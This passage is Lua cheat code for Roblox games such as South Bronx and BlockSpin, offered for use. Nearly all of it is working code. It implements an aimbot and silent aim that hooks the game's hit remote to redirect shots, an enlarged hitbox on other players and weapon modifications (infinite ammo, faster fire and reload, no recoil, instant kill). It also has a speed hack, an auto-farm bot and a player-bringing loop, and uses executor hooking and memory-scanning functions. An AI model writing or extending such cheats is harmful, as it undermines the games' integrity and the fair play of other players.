local SilentSnapline = Draw("Line", {Visible = false, Color = Color3.new(1, 1, 1), Thickness = 1});

RunService:BindToRenderStep("Functions",math.huge,LPH_NO_VIRTUALIZE(function()
    if Config.Silent.Mode == "Always" then
        Config.Silent.Targetting = true;
    end;

    local MouseLocation = UserInputService:GetMouseLocation()
```

```
        if (not LocalPlayer) or (not LocalPlayer.Character) or (not
LocalPlayer.Character:FindFirstChild("Humanoid")) then
            return
        end;

        if not TargetTable[1] then
            TargetTable[1] = GetClosestPlayerToMouseAimbot();
        end;

        if (TargetTable[1] and TargetTable[1].Character and
TargetTable[1].Character:FindFirstChild("Humanoid") and
TargetTable[1].Character:FindFirstChild("Humanoid").Health == 0) then
            TargetTable[1] = nil
        end

        local Target = TargetTable[1]
        if (Config.Aimlock.Enabled and Config.Aimlock.Aiming and Config.Aimlock.Type ==
"Mouse") and (Target and Target.Character and
Target.Character:FindFirstChild(Config.Aimlock.TargetPart)) then
            local TargetPosition =
Target.Character:FindFirstChild(Config.Aimlock.TargetPart).Position;
            local Result, OnScreen = Camera:WorldToScreenPoint(TargetPosition);
            if OnScreen then
                Move_Mouse_Function(Vector2.new(Result.X - Mouse.X, Result.Y - Mouse.Y).X /
(Config.Aimlock.Smoothness+1) , Vector2.new(Result.X - Mouse.X, Result.Y - Mouse.Y).Y /
(Config.Aimlock.Smoothness + 1));
            end
        elseif (Config.Aimlock.Enabled and Config.Aimlock.Aiming and Config.Aimlock.Type ==
"Camera") and (Target and Target.Character and
Target.Character:FindFirstChild(Config.Aimlock.TargetPart)) then
            local Smoothness = Config.Aimlock.Smoothness * 10;
            Camera.CFrame = Camera.CFrame:Lerp(CFrame.new(Camera.CFrame.p,
Target.Character:FindFirstChild(Config.Aimlock.TargetPart).Position), (100 - Smoothness) /
100);
        end;

        SilentTarget = GetClosestPlayerToMouseSilent()
        local AimlockTarget = TargetTable[1]

        AimbotFieldOfView.Visible = Config.Aimlock.Enabled and
Config.Aimlock.DrawFieldOfView and Config.Aimlock.UseFieldOfView
        AimbotFieldOfView.Radius = Config.Aimlock.Radius
        AimbotFieldOfView.Color = Config.Aimlock.FieldOfViewColor
        AimbotFieldOfView.NumSides = Config.Aimlock.Sides
        AimbotFieldOfView.Position = MouseLocation
        AimbotFieldOfView.NumSides = Config.Aimlock.Sides
        AimbotFieldOfViewOutline.NumSides = Config.Aimlock.Sides
        AimbotFieldOfViewOutline.Radius = AimbotFieldOfView.Radius
        AimbotFieldOfViewOutline.Position = AimbotFieldOfView.Position
        AimbotFieldOfViewOutline.Visible = AimbotFieldOfView.Visible

        AimbotFieldOfViewFill.Visible = AimbotFieldOfView.Visible
        AimbotFieldOfViewFill.NumSides = AimbotFieldOfView.NumSides
        AimbotFieldOfViewFill.Color = AimbotFieldOfView.Color
```

```
	AimbotFieldOfViewFill.Radius = AimbotFieldOfView.Radius
	AimbotFieldOfViewFill.Position = AimbotFieldOfView.Position
	AimbotFieldOfViewFill.Transparency = Config.Aimlock.FieldOfViewTransparency

	SilentFieldOfView.Visible = Config.Silent.Enabled and Config.Silent.UseFieldOfView and
Config.Silent.DrawFieldOfView
	SilentFieldOfView.Radius = Config.Silent.Radius
	SilentFieldOfView.NumSides = Config.Silent.Sides
	SilentFieldOfView.Color = Config.Silent.FieldOfViewColor
	SilentFieldOfView.NumSides = Config.Silent.Sides
	SilentFieldOfView.Position = MouseLocation

	SilentFieldOfViewFill.Visible = SilentFieldOfView.Visible
	SilentFieldOfViewFill.NumSides = SilentFieldOfView.NumSides
	SilentFieldOfViewFill.Color = SilentFieldOfView.Color
	SilentFieldOfViewFill.Radius = SilentFieldOfView.Radius
	SilentFieldOfViewFill.Position = SilentFieldOfView.Position
	SilentFieldOfViewFill.Transparency = Config.Silent.FieldOfViewTransparency

	SilentFieldOfViewOutline.NumSides = Config.Silent.Sides
	SilentFieldOfViewOutline.Position = SilentFieldOfView.Position
	SilentFieldOfViewOutline.Visible = SilentFieldOfView.Visible
	SilentFieldOfViewOutline.Radius = SilentFieldOfView.Radius

	SilentSnapline.Visible = (Config.Silent.Enabled == true) and (Config.Silent.Targetting ==
true) and Config.Silent.Snapline and (SilentTarget ~= nil)
	SilentSnapline.Color = Config.Silent.SnaplineColor
	SilentSnapline.Thickness = Config.Silent.SnaplineThickness;
	SilentSnaplineOutline.Thickness = Config.Silent.SnaplineThickness + 2
	SilentSnaplineOutline.Visible = SilentSnapline.Visible

	AimbotSnapline.Color = Config.Aimlock.SnaplineColor
	AimbotSnapline.Visible = (Config.Aimlock.Enabled == true) and (Config.Aimlock.Aiming
== true) and Config.Aimlock.Snapline and (AimlockTarget ~= nil)
	AimbotSnapline.Thickness = Config.Aimlock.SnaplineThickness;
	AimbotSnaplineOutline.Thickness = Config.Aimlock.SnaplineThickness + 2
	AimbotSnaplineOutline.Visible = AimbotSnapline.Visible

	if (not SilentTarget or not SilentTarget.Character or not
SilentTarget.Character:FindFirstChild("Head")) then
		SilentSnapline.Visible = false
	end;

	if (not AimlockTarget or not AimlockTarget.Character or not
AimlockTarget.Character:FindFirstChild(Config.Aimlock.TargetPart)) then
		AimbotSnapline.Visible = false
	end;

	local _Part = "Head"

	if SilentTarget and SilentTarget.Character and
SilentTarget.Character:FindFirstChild(_Part) then
		local SilentPosition, OnScreen =
Camera:WorldToViewportPoint(SilentTarget.Character:FindFirstChild(_Part).Position)
```

```
            SilentSnapline.Visible = (Config.Silent.Snapline and SilentTarget and OnScreen)
            SilentSnapline.Visible = SilentSnapline.Visible

            if (SilentSnapline.Visible and OnScreen) then
                SilentSnapline.From = MouseLocation
                SilentSnaplineOutline.From = SilentSnapline.From

                SilentSnapline.To = Vector2.new(SilentPosition.X, SilentPosition.Y)
                SilentSnaplineOutline.To = SilentSnapline.To
            end;
        end;

        if AimlockTarget and AimlockTarget.Character and
AimlockTarget.Character:FindFirstChild(Config.Aimlock.TargetPart) then
            local AimlockPosition, OnScreen =
Camera:WorldToViewportPoint(AimlockTarget.Character:FindFirstChild(Config.Aimlock.TargetP
art).Position)

            AimbotSnapline.Visible = (Config.Aimlock.Snapline and AimlockTarget and
OnScreen)
            AimbotSnaplineOutline.Visible = AimbotSnapline.Visible

            if (AimbotSnapline.Visible and OnScreen) then
                AimbotSnapline.From = MouseLocation
                AimbotSnaplineOutline.From = AimbotSnapline.From

                AimbotSnapline.To = Vector2.new(AimlockPosition.X, AimlockPosition.Y)
                AimbotSnaplineOutline.To = AimbotSnapline.To
            end;
        end;
    end));

    if not LocalPlayer.Character then
        LocalPlayer.CharacterAdded:Wait()
    end

    local ConnectHitboxToPlayer = function(Player)
        task.spawn(LPH_NO_VIRTUALIZE(function()
            while (Player ~= nil) and task.wait(0.25) do
                if not Player.Character then continue end
                if Player.Character then
                    if not Player.Character:FindFirstChild("HumanoidRootPart") or not
Player.Character:FindFirstChild("Humanoid") then
                        continue
                    end

                    if not Player.Character:FindFirstChild("Head") or not
Player.Character:FindFirstChild("Humanoid") then
                        continue
                    end
```

```
            local HumanoidRootPart, Head, Humanoid =
Player.Character:FindFirstChild("HumanoidRootPart"), Player.Character:FindFirstChild("Head"),
Player.Character:FindFirstChild("Humanoid")

            if Humanoid.Sit and not DefaultPlayerSettings[Player.Name] then continue end

            if not DefaultPlayerSettings[Player.Name] then
                DefaultPlayerSettings[Player.Name] = {}
                DefaultPlayerSettings[Player.Name].HeadSettings = {}
                DefaultPlayerSettings[Player.Name].RootSettings = {}

                DefaultPlayerSettings[Player.Name].HeadSettings.Size = Head.Size
                DefaultPlayerSettings[Player.Name].HeadSettings.Color = Head.Color
                DefaultPlayerSettings[Player.Name].HeadSettings.Massless = Head.Massless
                DefaultPlayerSettings[Player.Name].HeadSettings.CanCollide =
Head.CanCollide
                DefaultPlayerSettings[Player.Name].HeadSettings.Material = Head.Material
                DefaultPlayerSettings[Player.Name].HeadSettings.Transparency =
Head.Transparency

                DefaultPlayerSettings[Player.Name].RootSettings.Size =
HumanoidRootPart.Size
                DefaultPlayerSettings[Player.Name].RootSettings.Color =
HumanoidRootPart.Color
                DefaultPlayerSettings[Player.Name].RootSettings.Massless =
HumanoidRootPart.Massless
                DefaultPlayerSettings[Player.Name].RootSettings.CanCollide =
HumanoidRootPart.CanCollide
                DefaultPlayerSettings[Player.Name].RootSettings.Material =
HumanoidRootPart.Material
                DefaultPlayerSettings[Player.Name].RootSettings.Transparency =
HumanoidRootPart.Transparency
                DefaultPlayerSettings[Player.Name].RootSettings.Shape =
HumanoidRootPart.Shape
            end

            if not Config.MiscSettings.Hitbox_Expander.Enabled or Humanoid.Sit or
Humanoid.Health == 0 or table.find(library.whitelist, Player.Name) then
                for Index, Value in DefaultPlayerSettings[Player.Name].RootSettings do
                    HumanoidRootPart[Index] = Value
                end

                for Index, Value in DefaultPlayerSettings[Player.Name].HeadSettings do
                    Head[Index] = Value
                end

                if Head:FindFirstChild("MeshPart") then
                    Head.Mesh.MeshId = "rbxassetid://8635368421"
                end

                continue
            end
```

```
                if Config.MiscSettings.Hitbox_Expander.Part == "Head" and
Config.MiscSettings.Hitbox_Expander.Enabled then
                    for Index, Value in DefaultPlayerSettings[Player.Name].RootSettings do
                        HumanoidRootPart[Index] = Value
                    end
                end

                if Config.MiscSettings.Hitbox_Expander.Part == "HumanoidRootPart" and
Config.MiscSettings.Hitbox_Expander.Enabled then
                    for Index, Value in DefaultPlayerSettings[Player.Name].HeadSettings do
                        Head[Index] = Value
                    end

                    if Head:FindFirstChild("MeshPart") then
                        Head.Mesh.MeshId = "rbxassetid://8635368421"
                    end
                end

                if Config.MiscSettings.Hitbox_Expander.Part == "Head" then
                    if Config.MiscSettings.Hitbox_Expander.Enabled and Humanoid.Health ~= 0
then
                        Head.Size = Vector3.new(Config.MiscSettings.Hitbox_Expander.Multiplier,
Config.MiscSettings.Hitbox_Expander.Multiplier,
Config.MiscSettings.Hitbox_Expander.Multiplier)
                        Head.Transparency = Config.MiscSettings.Hitbox_Expander.Transparency
                        Head.Material =
Enum.Material[Config.MiscSettings.Hitbox_Expander.Material]
                        Head.Color = Config.MiscSettings.Hitbox_Expander.Color
                        Head.CanCollide = not
DefaultPlayerSettings[Player.Name].HeadSettings.CanCollide
                        Head.Massless = not
DefaultPlayerSettings[Player.Name].HeadSettings.Massless

                        if Head:FindFirstChild("MeshPart") then
                            Head.Mesh.MeshId = ""
                        end
                    end
                else
                    if Config.MiscSettings.Hitbox_Expander.Enabled and Humanoid.Health ~= 0
then
                        HumanoidRootPart.Size =
Vector3.new(Config.MiscSettings.Hitbox_Expander.Multiplier,
Config.MiscSettings.Hitbox_Expander.Multiplier,
Config.MiscSettings.Hitbox_Expander.Multiplier)
                        HumanoidRootPart.Transparency =
Config.MiscSettings.Hitbox_Expander.Transparency
                        HumanoidRootPart.Material =
Enum.Material[Config.MiscSettings.Hitbox_Expander.Material]
                        HumanoidRootPart.Shape =
Enum.PartType[Config.MiscSettings.Hitbox_Expander.Type]
                        HumanoidRootPart.Color = Config.MiscSettings.Hitbox_Expander.Color
                        HumanoidRootPart.CanCollide = not
DefaultPlayerSettings[Player.Name].RootSettings.CanCollide
                    end
```

```
                end
            end
        end
    end))
end

for Index, Value in Players:GetPlayers() do
    if Value == LocalPlayer then continue end;
    if Game_Name == "South Bronx" then continue end
    if Game_Name == "Criminality" then continue end
    if Game_Name == "Universal" then continue end
    if Game_Name == "BlockSpin" then continue end

    ConnectHitboxToPlayer(Value)
end

Players.PlayerAdded:Connect(function(Value)
    if Game_Name == "South Bronx" then return end
    if Game_Name == "Criminality" then return end
    if Game_Name == "Universal" then return end
    if Game_Name == "BlockSpin" then return end

    ConnectHitboxToPlayer(Value)
end)

--local StaminaRegen, MaxStamina = LocalPlayer:GetAttribute("StaminaRegen"),
LocalPlayer:GetAttribute("MaxStamina")

if Game_Name == "BlockSpin" then
    --[[local Set_Stamina = false;

    RunService.PreRender:Connect(LPH_NO_VIRTUALIZE(function()
        if Config.BlockSpin.LocalPlayer.InfiniteStamina then
            Set_Stamina = false
            LocalPlayer:SetAttribute("StaminaRegen", math.huge)
            LocalPlayer:SetAttribute("MaxStamina", math.huge)
        else
            if not Set_Stamina then
                Set_Stamina = true
                LocalPlayer:SetAttribute("StaminaRegen", StaminaRegen)
                LocalPlayer:SetAttribute("MaxStamina", MaxStamina)
            end
        end
    end))]]

    local _Send; _Send = hookfunction(Send_Remote, LPH_NO_VIRTUALIZE(function(...)
        local Arguments = {...}

        if Arguments[1] == "throw_hit" then
            if not Config.Silent.Enabled then
                return _Send(...)
            end
```

```
            if checkcaller() or not SilentTarget or not (mathrandom(0, 100) <=
Config.Silent.HitChance) then
                return _Send(...)
            end

            local RandomPart = Config.Silent.TargetPart[1] and
Config.Silent.TargetPart[math.random(1, #Config.Silent.TargetPart)] or "Head"

            local TargetPart = SilentTarget.Character:FindFirstChild(RandomPart)

            if not SilentTarget.Character or not TargetPart then
                return _Send(...)
            end

            Arguments[3] = TargetPart
            Arguments[4] = TargetPart.CFrame
        end

        return _Send(unpack(Arguments))
    end))

    local PressKey = function(KeyCode, Duration)
        task.spawn(function()
            VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
            VirtualInputManager:SendKeyEvent(true, KeyCode, false, game)
            task.wait(Duration)
            VirtualInputManager:SendKeyEvent(false, KeyCode, false, game)
        end)
    end

    local Get_Puddle = LPH_NO_VIRTUALIZE(function()
        local CurrentPuddle, MaxDistance, BestPath = nil, math.huge, nil

        for _, v in
ipairs(Workspace.Map.Tiles.BurgerPlaceTile.BurgerPlace.Interior.Puddles:GetChildren()) do
            if v:IsA("BasePart") and v.Parent and (v.Name == "SmallPuddle" or v.Name ==
"LargePuddle") and v.Size.X >= 1 and v.Size.Z >= 1 and (v.Position - Vector3.new(150, 253,
-250)).Magnitude > 3 then
                local hrp = LocalPlayer.Character and
LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
                if not hrp then continue end

                local Path = Services.PathfindingService:CreatePath({
                    AgentRadius = 1,
                    AgentHeight = 4,
                    AgentCanJump = false,
                    AgentCanClimb = true,
                })

                local targetPos = v.Position + Vector3.new(0, 2, 0)
                Path:ComputeAsync(hrp.Position, targetPos)

                if Path.Status ~= Enum.PathStatus.NoPath then
                    local dist = (hrp.Position - v.Position).Magnitude
```

```
                if dist < MaxDistance then
                    CurrentPuddle = v
                    MaxDistance = dist
                    BestPath = Path
                end
            end
        end
    end

    return CurrentPuddle, BestPath
end)


local Mop_FarmThread

Start_MopFarm = function()
    Mop_FarmThread = task.spawn(LPH_JIT_MAX(function()
        while task.wait(1) do
            if not Config.BlockSpin.AutoFarming.FarmMops then continue end

            local character = LocalPlayer.Character
            local humanoid = character and character:FindFirstChild("Humanoid")
            local hrp = character and character:FindFirstChild("HumanoidRootPart")

            if not humanoid or humanoid.Health <= 0 or not hrp then continue end

            local puddle, path = Get_Puddle()

            if not puddle or not puddle:IsDescendantOf(game) or puddle.Size.X < 1 or
puddle.Size.Z < 1 or not path or path.Status == Enum.PathStatus.NoPath then
                continue
            end

            VirtualInputManager:SendKeyEvent(true, Enum.KeyCode.LeftShift, false, game)
            local waypoints = path:GetWaypoints()

            if not puddle or not puddle:IsDescendantOf(game) or puddle.Size.X < 1 or
puddle.Size.Z < 1 or not path or path.Status == Enum.PathStatus.NoPath then
                continue
            end

            local default_time = puddle.Name == "SmallPuddle" and 5 or puddle.Name ==
"LargePuddle" and 10

            default_time =
                (Config.BlockSpin.AutoFarming.MopType == "Default" and default_time) or
                (Config.BlockSpin.AutoFarming.MopType == "Silver" and default_time * 0.8)
or
                (Config.BlockSpin.AutoFarming.MopType == "Gold" and default_time * 0.7) or
                (Config.BlockSpin.AutoFarming.MopType == "Diamond" and default_time *
0.6) or
                default_time

            for index, waypoint in ipairs(waypoints) do
```

```
                humanoid:MoveTo(waypoint.Position)
                humanoid.MoveToFinished:Wait()

                if not puddle:IsDescendantOf(game) or puddle.Size.X < 1 or puddle.Size.Z < 1
then
                    break
                end

                if index == #waypoints then
                    VirtualInputManager:SendKeyEvent(false, Enum.KeyCode.LeftShift, false,
game)
                    PressKey(Enum.KeyCode.W, 0.1)
                    task.wait(default_time + 0.25)
                end
            end
        end
    end))
end


Stop_MopFarm = LPH_NO_VIRTUALIZE(function()
    if not Mop_FarmThread then return end
    if coroutine.status(Mop_FarmThread) == "suspended" then
        task.cancel(Mop_FarmThread)
    end
end)

LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function()
    if Mop_FarmThread then
        Stop_MopFarm()
    end
end))
end

if Game_Name == "South Bronx" then
    if not Solara then
        CurrentGunHeld = nil;

        local OldWeaponValues = {}

        local GetAllTools = LPH_NO_VIRTUALIZE(function()
            local Result = {}

            for _, Value in next, {LocalPlayer.Backpack, LocalPlayer.Character ~= nil and
LocalPlayer.Character} do
                if type(Value) == "userdata" then
                    for _, _Value in next, Value:GetChildren() do
                        if _Value:IsA("Tool") and _Value:FindFirstChild("Setting") then
                            Result[#Result + 1] = _Value
                        end
                    end
                end
            end
```

```
    return Result
end)

local ReloadFunction = nil

for Index, Value in getgc(true) do
    if not (type(Value) == "function") then continue end

    local Function_Info = debug.getinfo(Value)

    if tostring(Function_Info.name) == "Reload" then
        ReloadFunction = Value
    end
end

local RefreshReloadFunction = LPH_NO_VIRTUALIZE(function()
    for Index, Value in getgc() do
        if typeof(Value) == 'function' then
            local Function_Info = debug.getinfo(Value)

            if tostring(Function_Info.name) == "Reload" then
                ReloadFunction = Value
            end
        end
    end
end)

local GetSettings = LPH_NO_VIRTUALIZE(function(Weapon)
    local Settings = {}

    for i,v in debug.getupvalue(ReloadFunction, 3) do
        if i ~= Weapon then continue end

        Settings = v
        break
    end

    return Settings
end)

local GetPercentage = LPH_NO_VIRTUALIZE(function(DefaultValue, NewValue)
    NewValue = math.max(0, math.min(100, NewValue))

    local newRecoil = DefaultValue * (NewValue / 100)

    return newRecoil
end)

local ModWeapon = LPH_JIT_MAX(function(Weapon)
    if type(Weapon) ~= "userdata" then return end
    if not Weapon:IsA("Tool") then return end
    if not Weapon:FindFirstChild("Setting") then return end

    local Module = GetSettings(Weapon)
```

```
            local ModuleSettings = rawget(Module, "Module")
            local OldConfig = OldWeaponValues[Weapon.Name]

            task.spawn(function()
                local Success, Error = pcall(LPH_NO_VIRTUALIZE(function()
                    task.wait(0.05)
                    if Module == nil or ModuleSettings == nil then
                        RefreshReloadFunction()

                        if ReloadFunction == nil then
                            return
                        end

                        Module = GetSettings(Weapon)
                        ModuleSettings = rawget(Module, "Module")
                    end

                    if ModuleSettings == nil or Module == nil then
                        return
                    end

                    setreadonly(Module, false)
                    setreadonly(ModuleSettings, false)

                    if SetInfiniteAmmo == nil then
                        SetInfiniteAmmo = true
                    end

                    if SetInfiniteClips == nil then
                        SetInfiniteClips = true
                    end

                    --[[if Config.South_Bronx._Modifications.InfiniteAmmo then
                        Module.Mag = Config.South_Bronx._Modifications.InfiniteAmmo and
math.huge or OldConfig.Ammo

                        SetInfiniteAmmo = false
                    end

                    if Config.South_Bronx._Modifications.InfiniteAmmo == false and
SetInfiniteAmmo == false then
                        Module.Mag = OldConfig.MaxAmmo / 2
                        SetInfiniteAmmo = true
                    end]]

                    --[[if Config.South_Bronx._Modifications.InfiniteClips then
                        Module.Ammo = Config.South_Bronx._Modifications.InfiniteClips and
999999 or OldConfig.MaxAmmo

                        SetInfiniteClips = false
                    end]]

                    if Config.South_Bronx._Modifications.InfiniteClips == false and
SetInfiniteClips == false then
```

```
                    Module.Ammo = OldConfig.MaxAmmo
                    SetInfiniteClips = true
                end

                if ModuleSettings.LimitedAmmoEnabled then
                    ModuleSettings.LimitedAmmoEnabled =
Config.South_Bronx._Modifications.InfiniteAmmo and false or OldConfig.LimitedAmmoEnabled
                end

                task.spawn(function()
                    while Weapon ~= nil and LocalPlayer.Character ~= nil and Weapon.Parent
== LocalPlayer.Character and Module ~= nil and ModuleSettings ~= nil and
ModuleSettings.FireRate ~= nil and task.wait(.1) do
                        if Config.South_Bronx._Modifications.DisableJamming then
                            rawset(Module, "Jam", false)
                            rawset(Module, "Canshoot", true)
                        end

                        if Config.South_Bronx._Modifications.InfiniteAmmo then
                            Module.Mag = OldConfig.AmmoPerMag
                        end
                    end
                end)

                ModuleSettings.FireRate =
Config.South_Bronx._Modifications.ModifyFireRate and GetPercentage(OldConfig.FireRate,
Config.South_Bronx._Modifications.FireRateSpeed) or OldConfig.FireRate

                ModuleSettings.ReloadTime =
Config.South_Bronx._Modifications.ModifyReloadSpeed and
GetPercentage(OldConfig.ReloadTime, Config.South_Bronx._Modifications.ReloadSpeed) or
OldConfig.ReloadTime
                ModuleSettings.TacticalReloadTime =
Config.South_Bronx._Modifications.ModifyReloadSpeed and
GetPercentage(OldConfig.TacticalReloadTime,
Config.South_Bronx._Modifications.ReloadSpeed) or OldConfig.TacticalReloadTime

                ModuleSettings.EquippingTime =
Config.South_Bronx._Modifications.ModifyEquipSpeed and
GetPercentage(OldConfig.EquippingTime, Config.South_Bronx._Modifications.EquipSpeed) or
OldConfig.EquippingTime

                ModuleSettings.SpreadX =
Config.South_Bronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.SpreadX, Config.South_Bronx._Modifications.SpreadPercentage) or
OldConfig.SpreadX
                ModuleSettings.SpreadY =
Config.South_Bronx._Modifications.ModifySpreadValue and
GetPercentage(OldConfig.SpreadY, Config.South_Bronx._Modifications.SpreadPercentage) or
OldConfig.SpreadY

                ModuleSettings.Recoil =
Config.South_Bronx._Modifications.ModifyRecoilValue and GetPercentage(OldConfig.Recoil,
Config.South_Bronx._Modifications.RecoilPercentage) or OldConfig.Recoil
```

```
                ModuleSettings.ShotgunEnabled =
Config.South_Bronx._Modifications.InstantKill and true or OldConfig.ShotgunEnabled

                ModuleSettings.Auto = Config.South_Bronx._Modifications.Automatic or
OldConfig.Auto

                ModuleSettings.JamChance =
Config.South_Bronx._Modifications.DisableJamming and 0 or OldConfig.JamChance
            end))

            if not Success and Error ~= nil then
                warn("[GUN MOD ERROR] :", Error)
            end
        end)
    end)

    local ModWeapons = LPH_NO_VIRTUALIZE(function()
        for _, Weapon in next, GetAllTools() do
            if Weapon:IsA("Tool") then
                ModWeapon(Weapon)
            end
        end
    end)

    local SetValues = LPH_NO_VIRTUALIZE(function()
        for _, Weapon in next, GetAllTools() do
            if Weapon:IsA("Tool") then
                local Module = Weapon:FindFirstChildOfClass("ModuleScript")

                if Module and Module.Name == "Setting" then
                    Module = require(Module)
                end

                if type(Module) == "table" and not OldWeaponValues[Weapon.Name] then
                    OldWeaponValues[Weapon.Name] = {}

                    local OldConfig = OldWeaponValues[Weapon.Name]

                    for Index, Value in next, Module do
                        OldConfig[Index] = Value
                    end
                end
            end
        end
    end)

    if not LocalPlayer.Character then LocalPlayer.CharacterAdded:Wait() end

    LocalPlayer.Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
        if not Weapon:IsA("Tool") then return end

        if Weapon:FindFirstChild("Setting") then
            CurrentGunHeld = Weapon
```

```
            end

            SetValues(); ModWeapon(Weapon);
        end))

        LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
            if not Weapon:IsA("Tool") then return end

            if Weapon:FindFirstChild("Setting") then
                CurrentGunHeld = Weapon
            end

            SetValues(); ModWeapon(Weapon);
        end))

        LocalPlayer.CharacterAdded:Connect(function(Character)
            Character.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
                if not Weapon:IsA("Tool") then return end

                if Weapon:FindFirstChild("Setting") then
                    CurrentGunHeld = Weapon
                end

                SetValues(); ModWeapon(Weapon);
            end))


LocalPlayer.Backpack.ChildAdded:Connect(LPH_NO_VIRTUALIZE(function(Weapon)
                if not Weapon:IsA("Tool") then return end

                if Weapon:FindFirstChild("Setting") then
                    CurrentGunHeld = Weapon
                end

                SetValues(); ModWeapon(Weapon);
            end))
        end)

        local ConfigMetatable = getmetatable(Config.South_Bronx.Modifications)

        ConfigMetatable.__index = LPH_NO_VIRTUALIZE(function(...)
            return Config.South_Bronx._Modifications[select(2, ...)]
        end)

        ConfigMetatable.__newindex = LPH_NO_VIRTUALIZE(function(...)
            local Index, Value = select(2, ...)

            Config.South_Bronx._Modifications[Index] = Value; ModWeapons()
        end)

        --[[local OldGunSettingsHook ; OldGunSettingsHook = hookmetamethod(game,
"__namecall", LPH_NO_VIRTUALIZE(function(Self, ...)
            if CurrentGunHeld == nil then
                return OldGunSettingsHook(Self, ...)
```

```
            end

            if getnamecallmethod() == "FireServer" or getnamecallmethod() == "InvokeServer"
and CurrentGunHeld then
                local Arguments = {...}

                for Index, Value in Arguments do
                    if typeof(Value) == "table" and rawget(Value , "Ammo") then
                        Value = OldWeaponValues[CurrentGunHeld.Name]

                        return OldGunSettingsHook(Self, unpack(Arguments))
                    end
                end
            end

            return OldGunSettingsHook(Self, ...)
        end))

        local OldMagAndAmmo; OldMagAndAmmo = hookmetamethod(game, "__namecall",
LPH_NO_VIRTUALIZE(function(Self, ...)
            if CurrentGunHeld == nil then
                return OldMagAndAmmo(Self, ...)
            end

            if getnamecallmethod() == "FireServer" or getnamecallmethod() == "InvokeServer"
and tostring(Self) == "ChangeMagAndAmmo" and
(Config.South_Bronx._Modifications.InfiniteAmmo or
Config.South_Bronx._Modifications.InfiniteClips) then
                local Arguments = {...}

                if Config.South_Bronx._Modifications.InfiniteAmmo then
                    Arguments[2] = OldWeaponValues[CurrentGunHeld.Name].AmmoPerMag
                end

                return OldMagAndAmmo(Self, unpack(Arguments))
            end

            return OldMagAndAmmo(Self, ...)
        end))]]
    end

    --[[if not Solara then
        local DeleteChatPlayer = LPH_NO_VIRTUALIZE(function(Player)
            if Player.Character then
                local Head = Player.Character:FindFirstChild("Head")
                if Head then
                    if Head:FindFirstChild("chatpart") then
                        Head:FindFirstChild("chatpart"):Destroy()
                    end
                end
            end

            Player.CharacterAdded:Connect(function(Character)
                Character:WaitForChild("Head")
```

```
                Character.Head:WaitForChild("chatpart"):Destroy()
            end)
        end)

        for Index, Value in Players:GetPlayers() do
            if Value == LocalPlayer then continue end

            DeleteChatPlayer(Value)
        end

        Players.PlayerAdded:Connect(DeleteChatPlayer)
    end]]

    --[[local FireFunc, FireFuncs = LPH_NO_VIRTUALIZE(function(...)
        return ...
    end), {}

    local RefreshFireFunc = LPH_NO_VIRTUALIZE(function()
        for Index, Value in getgc() do
            if typeof(Value) == "function" then
                local Info = debug.getinfo(Value)
                if Info.source == string.format("=Players.
%s.PlayerScripts.Main.Modules.GunScript_Local", LocalPlayer.Name) and not
table.find(FireFuncs, Value) then
                    FireFunc = Value
                    table.insert(FireFuncs, FireFunc)
                end
            end
        end
    end)

    RefreshFireFunc()

    LocalPlayer.CharacterAdded:Connect(LPH_NO_VIRTUALIZE(function()
        task.wait(5)
        RefreshFireFunc()
    end))

    ShootPlayer = LPH_NO_VIRTUALIZE(function(Player)
        if not LocalPlayer.Character then
            return
        end

        if not LocalPlayer.Character:FindFirstChildOfClass("Tool") then
            return
        end

        local Tool = LocalPlayer.Character:FindFirstChildOfClass("Tool"); local Handle =
Tool:FindFirstChild("Handle")

        if not Tool:FindFirstChild("Settings") then
            return
        end
```

```
            if not Players:FindFirstChild(Player) then
                return
            end

            local Player = Players:FindFirstChild(Player)

            if not Player.Character or not Player.Character:FindFirstChild("Head") or not
Player.Character:FindFirstChild("Humanoid") or
Player.Character:FindFirstChild("Humanoid"):GetState() == Enum.HumanoidStateType.Dead
then
                return
            end

            if not FireFunc then
                RefreshFireFunc()
            end

            print("Fired")

            FireFunc(Tool, Handle, Player.Character:FindFirstChild("Head").Position)
        end)

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while task.wait(0.1) do
                if not Config.South_Bronx.KillAura then continue end
                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChildOfClass("Tool") or not
LocalPlayer.Character:FindFirstChildOfClass("Tool"):FindFirstChild("Setting") then continue end
                for Index, Value in Players:GetPlayers() do
                    if table.find(Config.South_Bronx.KillAuraWhitelist, tostring(Value)) then continue
end
                    if Value == LocalPlayer then continue end
                    if not Value.Character or not
Value.Character:FindFirstChildOfClass("Humanoid") or not
Value.Character:FindFirstChild("HumanoidRootPart") then continue end
                    if Value.Character:FindFirstChildOfClass("Humanoid").Health == 0 then continue
end
                    if Value.Character:FindFirstChildOfClass("ForceField") then continue end

                    if not DistanceCheck(Value, Config.South_Bronx.KillAuraRange) then continue
end

                    ShootPlayer(Value.Name)
                end
            end
        end))]]

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while true do
                local Delta = RunService.Heartbeat:Wait()

                if not Config.South_Bronx.LocalPlayer_Config.Speed then continue end
```

```
                if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid")
then
                    local Humanoid = LocalPlayer.Character:FindFirstChild("Humanoid")

                    if Humanoid.MoveDirection.Magnitude > 0 then
                        local SpeedFactor = (Humanoid.WalkSpeed >= 10) and 1 or 0.54
                        LocalPlayer.Character:TranslateBy(
                            Humanoid.MoveDirection *
Config.South_Bronx.LocalPlayer_Config.SpeedValue
                            * Delta * 10 * SpeedFactor
                        )
                    end
                end
            end
        end))

        task.spawn(LPH_NO_VIRTUALIZE(function()
            while task.wait() do
                if not Config.South_Bronx.PlayerUtilities.BringingPlayer then continue end
                if tostring(Config.South_Bronx.PlayerUtilities.SelectedPlayer) ==
tostring(LocalPlayer) then continue end
                if not LocalPlayer.Character or not
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") or not
Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer) or not
Players:FindFirstChild(Config.South_Bronx.PlayerUtilities.SelectedPlayer).Character or not
